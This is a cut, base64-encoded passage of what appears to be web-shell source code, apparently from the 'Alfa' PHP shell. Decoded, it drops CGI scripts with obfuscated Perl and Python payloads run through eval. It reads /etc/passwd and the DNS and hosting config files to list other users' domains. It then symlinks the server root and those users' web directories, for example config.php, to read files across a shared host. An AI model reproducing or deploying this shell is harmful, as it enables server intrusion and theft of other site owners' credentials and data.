djVxSXNNUTIxQ3RZNkh5Rko0TmxybFJReGtqTk1zNVRUbFRiN01hUnR4dXVEdW1FK1NmdHBQTzJMUjY0d3BKcjBPajNsQ2U2Y1pvUVNGUzNUeThld0VYZEtUVHgxWG5YUVlYOElQWGdrU1RVS2pyTUE4enRKMm1xVTBXSGRjZGQ1eEZia3dJMHNVanFJc3lZcXUrY3lUajlrekFpV1cyU0h4REVtVXJwRmpRdUowMVBhOWZCRUVFMXlNNHJRWlpweG5FL1V0ekFwQ2k3YWZMeERCYkF3U1BodktKNUQwMjdBVDVBTXBHazdpVWRxT1FHZGFCRVBRdmptbjhXak0yMkdXRVBXQnhUOW91L1VhS0JzYmpWbVdVTVF3UWM5Um5NNWlGb2V3LzRrdWxwTWtUbS9RbjB2ME55MlNqZ3VDOTh4Z1RSTkdWOW9ObFdlVUp4bzRHZUlCd1J3N2hodU5ZckYxaldETnBpR1FIdUNpd0V1MEFzZFpnTy90Tm1hK1p3UGE4VUE0ODQrWlA0VE5CT2RvMVJnSS8vdHJkQ3dBZzRMeWFaRWlTOFVESVB2RGxVQmUyL2FSMy9ZVWczeE9TdHF2TmRWNGFPM29zRmhwR2tMd1lBMEhBSVhvdjhnZ2NVRWpibFFBaGp2T0p0UmRUUmt0MW00K0RaTTRHb2g0RVlvQVhwTUNDT1dSbStJSkpRNkU3ZEJBejUrakp0SGZaK0FIekNoemY1UG1NY3VUbUlQQTh0ZHkrNjY3aXhydlBuOWJHVy9QVDc5K2V2ZjVjdkRsL1B6U1dOc3E1ZzhBTnM5eXBCQ0QybEt6KzU3RnFXVzR4cTcrYmpzZ2dXWnVJQWNvS0l0TjhBM2xSV20wUGVBNm8rTGxINHIzdmphaVRxY09RS3F3TlI5R213bHBCTEV2WWd5VmtYOEdqK2RENUFQRFBjZm91T0lVMGtRQWNyS0ZWa0tIWEZEQ2FGelFZZGMwSEpDS1NpZGRIWW5uMmtCSHlQeU9aNWhGUlp6ek5rNW93UzFqRHRWRFZJNWhuQkpFc2dtT1U4ZHhETnRzSTNQTWVkNTJYUk9Fb0xaam1JaERsbEhlTlFkaGd0TWI4NTdRbm5mU2FubEthRm9UR2xlQ2I5SHk3RXdoK0ljUDFLeHJBem5pR0NJbG1Nb3NWNnh6U0MySEw3ZzQzb2VzK1pXQVlGTlpUM1IyUGhEUTVVVlBaeHpKQnNEcGZrN0lFUEpmaVJpYUUvbGRmRHFlK2Z2d3lkS2JxTForVmEwYk13SnJYNU9BcGFlV2J6WkxiN1AwRlVRdDFXVEdRRmFvWThGRGZ3cXluRUo2RTArNGp1MGk4MTZDbVRiS2lncW5UREFqMEZKM05HSXZpSklNV29uZUt0YUFJM2hYU0NWN0liUjVOMkZOS1FjVUJLUWFUV3RYQVNyZUIxSjN6Yktnb25RWEV1ck91ZUo1Y0pmTERCZEttNmM1K0wvZzRKY2Nkc1RHWGlrblFEbURCNnJ5dHFLMjFiQ3p1T0JUbkxncVZiSjVTZ3RXbWZpT0VFOWIxdGRhSHRhY1hqT3I1dktrem9lYVc3UlY0OE9OU1E5TFhhUWRIdzhSSW1WUkJEdnl1SlJkYnFyMjVXbkw2ZTBidmEwVXErSlhjTFZ5ek5pODRxcDJqMWhNSGZZQzRRb0lWclUxZ2cxbFhVOTFFVUR2aWlJclJMblNvbFhsRm9zMnJBYUFydW1iWmNFTWNYUXpLckpwU3BwNkJsQWpoaDRmMmg3Q1U1N0ppcXpubS85WnQxODhLR1ZiSytWYkdVVHNhZUN5U242Rkh2UkwwTzBGcml4dThOSjZpVWtMYWwxakllMC96Q0Irb3JFTU1rQ2t5Qkllc1ZjUnRONWNCNmVjVWNTaDN1UGFKT21UY3BSOFVLOTB4a0ZRU01MZG4yamlPaStPZnNEOGh3d0xWcmFCVm01UU12QzFKNjA2UjF1Z01kY2hvZXVPcWtBTEpSOWdrWUpyN293bGlqZTZ2VVhsbDFvRnF5TTdHcWpjT2hVMXBaYU13bnVEaWVoVllhQ0dHUUVpdzEwWUF4cFBQcC9HeExKZ0Z1ZVdQTE92OXE1dHJaSWlyTmFxYTlETjROSVdjNHZVTmREazRJZXE2VkFaUW16OWEyWGlONUtwMkN2TC9OTm5MMi9ocnlIc1U4ZjNKYjZnc3gwd3JER3FXMUJuWG1rdGV0VzZSaDIwNzNtbGZUUnVOVnlvZG5kUW04VFdhaGFEZGlsVklpV24vV3ZvMU1LS0IwSzYwcGw0cXpORmpGU2lXQnNxcjNSRTZMbE00SXZBa0ZoRURKVDM5RkJlOXNyR3NpZUxVejNvb2VSQnlFZDNJcjVWQzNCY2kyK2lyUkk5RnN6Q09TMFZ6SlpDYmZoYTRMNXoyMi9XZ3RpcllHZFJCUXh5M0llV3dDMEFsZzFua0VBeDd5SjRqL2hZV3M5R1RUVmJWQ01IWU1BY3czZ2h6M2VSQjc2b2tHMWhuT3I0d2FsVXNMeHpXSDJnS1IySkhkQ2pTaEE1LzFxTmhUaFNiUW5MTndGM0wxNitETFNkL1NDZnNyRlZvd0Y2aUs2ckM4TWVPR1ZEcW9xbkxRUjE2andtR2dUa2R1SDhjQXV4QjBJQk5uQW9HNGlyQ2lUOGlrNGloc0wxNUFiNnExV2ZRVUZJNzJCL1g0OTN2b3lYWitwbUNQZStDM0V6dkpBM3d3L2x6YkNmbnVmaStzdmdFNkVMeXRCWmxpVFpIT3IxUnlESSt1bGJPWHhreFZJQ3lPdWx4blZ5dVBUMDB4TkNMdUZTcnU3a2VRTHRBK1hqWFB6dElRR1JJSGdoZFZrSDJMOXdTbURRL3cxd0hlbEROVS9DQXJ6UkF4WHZUTjNPbU9Nb29veVZWM0lJMytGYWFxOG5CVUZCUTZ0cjFPTlR1d3pTbmVwT3VHMnlnclJYazdoVk5oUmRUTXV2NWJBbVU2UzhybFplMUU2VS83RUFILzRINWVIS2ZTc1JBQUE9IikpKTsnOwoJJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG5hbGZhX2RhdGE9JyIuX19BTEZBX0RBVEFfRk9MREVSX18uIidcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5ZFdOMXo0amdTZnpaL2hkWlRXY09HMkpDNnZRZEMyTXJOVE82bWFuZm42aWI3bEZBdVlRdndqckZja2dpd1UzTi8rM1hyd3hiZ1pLYk9EMWlXK2x2ZFA3VlE0akRwRVhpS1RjMkZJdG1xVUFzOW9VY3hxK2lpWlAxQmorMHpWcXRKTDZpcGxMMmVKVmZGaHJreGwyNGtEODFRTk12MUx1LzFWaVZmMERLRk1ia2xZZWkrdDZJMDN4OCtwVy8vK1FIRzk3U1VyS2VjZFVkOElENm1Zdlg4T0o3N2kwYUlWS0pQeXlWTmM2cm9nRnlTTUFGUGNDWUpHeWVRcTFIMUlMYXMxOHZaa3F5WVFoWDltc3NCZUZvc0d5SnJFRXdHZ3FtdHFEeUxOQ0d3SUZXWUY0SmxLaVJja0Q2WGNVM1ZPaTdrc29BWWhnbFRXVkxSRGN2ampGZkxjRUJvbFpPV0NuZ3QwVE10Q3lxWlRNTEJ3Tk1aSm11K1ljbVhyV1RpYTFKdkYyV1JwV3UxS2NHMUFMakJCQlRIcXVkQzhPb3hmUGZ4N1IrL3ZmLzlJZjNQeDQ4UDRUeVdkVmtvVUJFT1lCczFOekFnWDF6ekd2WTQ4TWRPNTRWMENpOWtTQzRJOHNkLzhxTHFJL1ZnU0l5a2dRbmhobjVtc0FNWjMxWnFTSEsrb1VVMUpNZy9KTmt1UjIvV1N0VzQyL2llSkVsNGlWdG1LQWM2bG1hc3cvbjRDejd6RUlOZythSS82VE9WbVNoZ0kybkpCRGkwWXlTamxTTExBdUpwdU9NNERnY1J1Q2tLV0FpblNrQm1IRXAyR3ltMlYxY1EzMVUxeVZpbG1MaUpabE9WejZaTERwUVpMN200amQ3Y3d6TWFSek5qblhabmNCbE9FeVNhVFJPa1YzbUh5Skl0RlFxa1pDM1k4all5L0dnNnNFZEVRZDR5ZFJ1bGk1SlduNk1UcGFQUjNmWDF5Q20xSWZHMDBrWnpoN1gzOTQ0Um8zMXU3S2xOYmRVQUxkYUhQR3pLb3ZxYzRMZysySzlZN1pXTkFlemVaWmg4eXdjSUd6elI3SlBoUDdNOVVXSUcyYXFUSmVlcFZlTktibk93TmU2WFlpK0EzVTBGbzNtcXE4ZlZiRkRJRkRKZGJXblpURDFUMFJBWkRBbE1IUG11WXJwQTdDd1RBbXEwK1hROGovTmVBQVl4YWNmNUF0M01QcGVGVkhiS3EzYk5wWlB6eUJRcjg5eHN0NkJ4TFFnYVRieG1WUWMreE1pc2FiQWdBNE5lNUwxK0ZielNJcHlvVnBhTTBkaE9NRUhDVGltdG1HNDVFRlpqbVpFUkhNWFpSUDVGMFUyb0RSMHJ6K0Z5OG5wTWJHUVRmeWZQb25PNno5YXExNFBtWERnUG1sWDVXc3c2OTl3UFpTUDl1N2IzeGZpOW1FWW5rWVc0Nmdsa08wbnZRQWVjaEhoNDcvTHdKbmc5NEpic3V4THdaUnNzOXRvU0orOXhIbkVaYzhDY3BRMDZZNU5CRmx6a0REQmtIRGxnWFVEbHJRU0FiMzZsOFdYeVpxU2ZtdzFnVUZGTlJvUnVGZGNBdmdaTFovODN6UDkwQnBhZHdQeE9wNWg4bmRpQjhSOEF3OThrN1FaTEI1VHdZLzFhOFB5QXVCbnNJZFJqZUM4aDZMZ3pCRTVLdlVQTlhnSUJ2bUlBN2FJMm1VWHpYREFwN1FyTzZETEJqSGo4QVo4NWlnNEE0bFBGTnJYcHhURER1NkJPVDN2MTcvVkc4RWhHUmJZR0NRSXMwT04rRlAvMHkxOGNEQXY3TUJxRTVFczAxSVpZTEFGeGh0S0s4TXcxOHpIbVFOMGZXM3JXYWd1Z2tsUlJPZnhwRjFvUmRnU3BYQU9RUXhzVzU0dHdDQTRhYWRpYW9TUG84ekZjbW5iSHNqdS9UM282eHoyd2F0dmFieUlNcDFnTXAxbTkyeFk1dG9SU1VkWHl3V2NLQzRPNDN1bDRXZys3Z2VCRmIvMzVkaG83NENZWlRPczNzVjZESjJCQTMvVElVM0xkSWFkeEFJa2VSL1BlY1ZqMTdIanVwUG5nYTRVZDhZL25majZlQ1JvZEwzdDVaNkZvMHFRS0lJYTIrL0Y2anFiL1BCcDFSc2ZUMEhTUlpxSHBmRTJ6NFVMek5YRm5tMThHRnk0UGpNNmY1NjdmQlk4c3VWY29QNXdhN0lteTJwbzBORTAxWktLT2s1RmxSWjBBUHQ0U1RzS0I5NHYyK0puWVRLN3k0K05CZzRST2JnQUpMY3M3bUlBUVg4ZmJVcVVZdHFiK082eHh3YTdTNzYxMG5lZVdDOFE1UmllbzFlbFdUc3JkY21taVFwTGZRWDdEZTdMbm1CNG5VZkhsTi9VbFdwVTRhRGZsS2h5Ryt0aHpXS0cvdlh4T29XeXdwcUI0ekw2Ukt3M0g4SnoyaVE0eGtPeHhOR25ZNTdpUnhvS2phV2R2dmpDSkIzbDNZWlFNcloxZUZJRUk5clJSMlFUa09CNkJ2WTd0blFTYmJmb3VwaFBUaWR5VHkxdm5TSnRKVFdmbmVSZlRHaHFGdko4dm1scDE5TWNuUWF1N0tjQ1gxTGZhUGZUcUNJT3Q2VWF4aVlMZm8zY0JXV3VJNVgvQkRDOEd2c2hqaDEzTGtwZ2pHZDdZdThEUkRIY2FzQ2pWVlpLbXVsalRGRUV4VFJFTXZMOFR2TTduTGRnSjNjbVZPdFJzUXJCblNmQSsvMVE5VlZNY3pLYjIvQzhVS0huTE1jeUxBN243OWY2T1BMQzczMEM5WHBucXJtZEd2K2kySjJjWkYxUWZIQlZVeTgzWGFXTFdwNGtSaDZhVHhhcHRiMHdiRWphR1JkTzhlTGF0RkdCT25oZlZhakllMWZzYjIzcGRMYmhTZkdQbVRPTTJHZGQ3UUhPNUJodmZMUFZ6WTd1MjVWSjNiZWM5R2ZZN1Z6dFdyTlpxc3VCbGJpWms4UmViWFA4ZEpJZXR6NUpEaXlocFRuNkVQWDh1WklFdDQzK0piWjNJUHc3azN3ZTE1dFUwQWRObmNQVzNaekVldVFjSnU5d1B4WVpjaVNYeExydTZ0b0VDVXdUL3p1aEgzbUprRjdNMTNndE9WcHhrYzMwTkUyd3B6bS9PbW02dGFKYlpvK2lOOFFlcy9ZVCtmTkwrZkhEK1BGVWY5WGt2WVNwbmUyakw3M2xaOGgwNCtTdUlsRS9WTzMxaDR1S2dDWFJRTEc5Y1E4SThWWGQ1L2dESlpISUpVQXpxbzE3WEJKTUpmL0RqYjZRMlNRYTAvNExEcFlSait0dmttQnliNXBvUU82Y0FJSGVYT295YmVDY0t4ZnB1eGN4bEpaZjQvMkd2cTMxNjdYcDNEQ2ZlWHdWaGV4RmxYY3YyVGducnAyM1VFTzhtL3IzRFpDRlVUMDByZDNFd0tTdFlEaGVHQytqZmNRMEt4NUppS3dCQy9nZWpCbWtrIikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKCSRjZ2luYW1lID0gInN5bXBlcmwuYWxmYSI7Cgkkc291cmNlID0gJHBlcmw7CgkkbGFuZyA9ICJwZXJsIjsKCWlmKCRfUE9TVFsiYWxmYTIiXT09InN5bXB5Iil7CgkJJGNnaW5hbWUgPSAicHlzeW1saW5rLmFsZmEiOwoJCSRzb3VyY2UgPSAkcHk7CgkJJGxhbmcgPSAicHl0aG9uIjsKCX0KCUBfX3dyaXRlX2ZpbGUoJGNnaW5hbWUsJHNvdXJjZSk7CglAY2htb2QoJGNnaW5hbWUsMDc1NSk7CgllY2hvIF9fcHJlKCk7CgkkcmVzb3VyY2UgPSBhbGZhRXgoInskbGFuZ30geyRjZ2luYW1lfSB7JHN5bXBhdGh9IixmYWxzZSx0cnVlLHRydWUpOwoJaWYoc3RybGVuKCRyZXNvdXJjZSkgPT0gMCl7CgkJZWNobyBBbGZhaUZyYW1lQ3JlYXRvcignY2dpYWxmYS8nLiRjZ2luYW1lKTsKCX1lbHNlewoJCWVjaG8gJHJlc291cmNlOwoJfQp9CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkgJiYgJF9QT1NUWydhbGZhNCddPT0nU3ltRmlsZScpewppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CkFsZmFOdW0oOSwxMCk7CmVjaG8gX19wcmUoKS4nCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9IkV4YW1wbGUgOiAvaG9tZS91c2VyL3B1YmxpY19odG1sL2NvbmZpZy5waHAiIHNpemU9IjYwIi8+PGJyIC8+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiBwbGFjZWhvbGRlcj0iRXhhbXBsZSA6IGFsZmEudHh0IiBzaXplPSI2MCIvPgo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0ic3ltbGluayIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CiRwYXRoID0gJF9QT1NUWydhbGZhNSddOwokc3ltbmFtZSA9ICRfUE9TVFsnYWxmYTYnXTsKJHNvbGV2aXNpYmxlNTggPSAkX1BPU1RbJ2FsZmE3J107CmlmKCRzb2xldmlzaWJsZTU4KXsKJG5ld19uYW1lID0gc3RyX3JlcGxhY2UoIi4iLCAiXyIsIGJhc2VuYW1lKCRzeW1uYW1lKSk7CiRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsKJHN5bV9kaXIgPSAnYWxmYXN5bWxpbmtwaHAvJy4kcmFuZF9kaXIuJy8nOwpAbWtkaXIoJHN5bV9kaXIsIDA3NzcsIHRydWUpOwphbGZhY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7Cl9hbGZhX3N5bWxpbmsoIiRwYXRoIiwiJHN5bV9kaXIvJHN5bW5hbWUiKTsKZWNobyBfX3ByZSgpOwplY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLl9fQUxGQV9EQVRBX0ZPTERFUl9fLiIvIi4kc3ltX2Rpci4nIiA+PGI+PGZvbnQgc2l6ZT0iNCI+Jy4kc3ltbmFtZS4nPC9mb250PjwvYj48L2E+PC9iPjwvY2VudGVyPic7Cn0KfWVsc2V7ZWNobyAiPGNlbnRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkICE8L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7fQp9CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0nc3ltcGhwJyl7CiRjYW50X3N5bWxpbmsgPSB0cnVlOwppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQoZmFsc2UsZmFsc2UpKXsKQG1rZGlyKCdhbGZhc3ltbGluaycsMDc3Nyk7CmFsZmFjZ2lodGFjY2Vzcygnc3ltJywnYWxmYXN5bWxpbmsvJyk7Cl9hbGZhX3N5bWxpbmsoJy8nLCdhbGZhc3ltbGluay9yb290Jyk7CiR0YWJsZV9oZWFkZXIgPSAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48dGFibGUgaWQ9J3RibF9zeW1wcGhwJyBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgYm9yZGVyPScxJz48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGMDE7Jz48Yj4qPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6IzAwQTIyMDsnPjxiPkRvbWFpbnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkZGRkZGOyc+PGI+VXNlcnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkYwMDAwOyc+PGI+c3ltbGluazwvc3Bhbj48L2I+PC90ZD4iOwppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy9uYW1lZC5jb25mIikgJiYgIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikgJiYgX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMvIikpewplY2hvICI8Y2VudGVyPiI7CiRsaW5lcyA9IGFycmF5KCk7CiRhbm9ueV9kb21haW5zID0gYXJyYXkoKTsKJGFub255bW91c191c2VycyA9IGFycmF5KCk7CiRmX2JsYWNrID0gYXJyYXkoKTsKJGVycm9yID0gZmFsc2U7CiRhbm9ueW1vdXMgPSBmYWxzZTsKJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7CiRkb21haW5zID0gYWxmYUdldERvbWFpbnMoKTsKJGxpbmVzID0gJGRvbWFpbnNbImxpbmVzIl07CiRzdGF0ZSA9ICRkb21haW5zWyJzdGF0ZSJdOwokaXNfcG9zaXggPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKTsKJGNhbl9ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSk7CmlmKCEkaXNfcG9zaXggJiYgISRjYW5fcnVuY21kKXsKCSRhbm9ueW1vdXMgPSB0cnVlOwoJJGFub255X2RvbWFpbnMgPSAkZG9tYWluc1sibGluZXMiXTsKCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7Cn0KZWNobyAkdGFibGVfaGVhZGVyOwokY291bnQ9MTsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0ie2h0dHB9Ii8+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEEyMjA7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPntkb21haW59PC9iPiA8L2E+PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkZGRjttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e293bmVyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2FsZmFzeW1saW5rL3Jvb3R7c3ltcGF0aH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOwpmb3JlYWNoKCRsaW5lcyBhcyAkbGluZSl7CgkkZG9tYWluID0gIiI7Cgkkb3duZXIgPSAiIjsKCWlmKCRhbm9ueW1vdXMpewoJCSRleHBsb2RlID0gZXhwbG9kZSgiOiIsICRsaW5lKTsKCQkkb3duZXIgPSAkZXhwbG9kZVswXTsKCQkkb3duZXJfbGVuID0gc3RybGVuKCRvd25lcikgLSAxOwoJCSR1c2VyaWQgPSAkZXhwbG9kZVsyXTsKCQlpZigoaW50KSR1c2VyaWQgPCA1MDApY29udGludWU7CgkJJGRvbWFpbiA9ICJbPz8/Pz9dIjsKCQkkdGVtcF9ibGFjayA9IGFycmF5KCk7CgkJJGZpbmRlZCA9IGZhbHNlOwoJCWZvcmVhY2goJGFub255X2RvbWFpbnMgYXMgJGFub255KXsKCQkJaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7CgkJCQlpZihAc3Ryc3RyKCRhbm9ueSwgJ3pvbmUnKSl7CgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRhbm9ueSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCX1lbHNlewoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQl9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsKCQkJCWlmKCRhbm9ueSA9PSAiLiIgfHwgJGFub255ID09ICIuLiIpY29udGludWU7CgkJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkYW5vbnkgPSBydHJpbSgkYW5vbnksICIuZGIiKTsKCQkJCSRkb21haW4gPSAkYW5vbnk7CgkJCX0KCQkJJHN1Yl9kb21haW4gPSBzdHJfcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOwoJCQlpZihzdWJzdHIoJG93bmVyLCAwLCAkb3duZXJfbGVuKSA9PSBzdWJzdHIoJHN1Yl9kb21haW4sIDAsICRvd25lcl9sZW4pKXsKCQkJCWlmKGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkdGVtcF9ibGFjaykpY29udGludWU7CgkJCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkJCSRodHRwID0gImh0dHA6Ly8iLiRkb21haW47CgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsKCQkJCSRjb3VudCsrOwoJCQkJJHRlbXBfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOwoJCQkJJGZpbmRlZCA9IHRydWU7CgkJCX0KCQl9CgkJaWYoISRmaW5kZWQpewoJCQkkYW5vbnltb3VzX3VzZXJzW10gPSAkb3duZXI7CgkJfQoJfWVsc2V7CiAJCWlmKCRzdGF0ZSA9PSAibmFtZWQuY29uZiIpewoJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsKCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOwoJCQl9ZWxzZXsKCQkJCWNvbnRpbnVlOwoJCQl9CgkJfWVsc2VpZigkc3RhdGUgPT0gIm5hbWVkIiB8fCAkc3RhdGUgPT0gInZhbGlhc2VzIil7CgkJCWlmKCRsaW5lID09ICIuIiB8fCAkbGluZSA9PSAiLi4iKWNvbnRpbnVlOwoJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkbGluZSA9IHJ0cmltKCRsaW5lLCAiLmRiIik7CgkJCSRkb21haW4gPSAkbGluZTsKCQl9CgkJaWYoc3RybGVuKHRyaW0oJGRvbWFpbikpID4gMiAmJiAkc3RhdGUgIT0gInBhc3N3ZCIpewoJCQlpZighX2FsZmFfZmlsZV9leGlzdHMoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluLCBmYWxzZSkpY29udGludWU7CgkJCWlmKCRpc19wb3NpeCl7CgkJCQkkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbikpOwoJCQkJJG93bmVyID0gJHVzZXJbIm5hbWUiXTsKCQkJfWVsc2VpZigkY2FuX3J1bmNtZCl7CgkJCQkkb3duZXIgPSBhbGZhRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbixmYWxzZSxmYWxzZSk7CgkJCX0KCQl9Cgl9CglpZighJGFub255bW91cyl7CgkJaWYoc3RybGVuKCRvd25lcik9PTAgfHwgaW5fYXJyYXkoJG93bmVyLiRkb21haW4sICRmX2JsYWNrKSljb250aW51ZTsKCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkkaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluOwoJCWlmKCRzdGF0ZSA9PSAicGFzc3dkIil7CgkJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJfQoJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21haW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICRkb21haW4sICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJCSRmX2JsYWNrW10gPSAkb3duZXIuJGRvbWFpbjsKCX0KfQppZigkYW5vbnltb3VzKXsKCWZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpewoJCSRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOwoJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJfQp9CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfWVsc2V7CiRpc19kaXJlY3QgPSBmYWxzZTsKJG1ha2Vwd2QgPSBhbGZhTWFrZVB3ZCgpOwppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKCSRtYWtlcHdkID0gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbCI7CgkkaXNfZGlyZWN0ID0gdHJ1ZTsKfQokc29sZSA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKJGNvdW50PTE7CmVjaG8gJHRhYmxlX2hlYWRlcjsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij4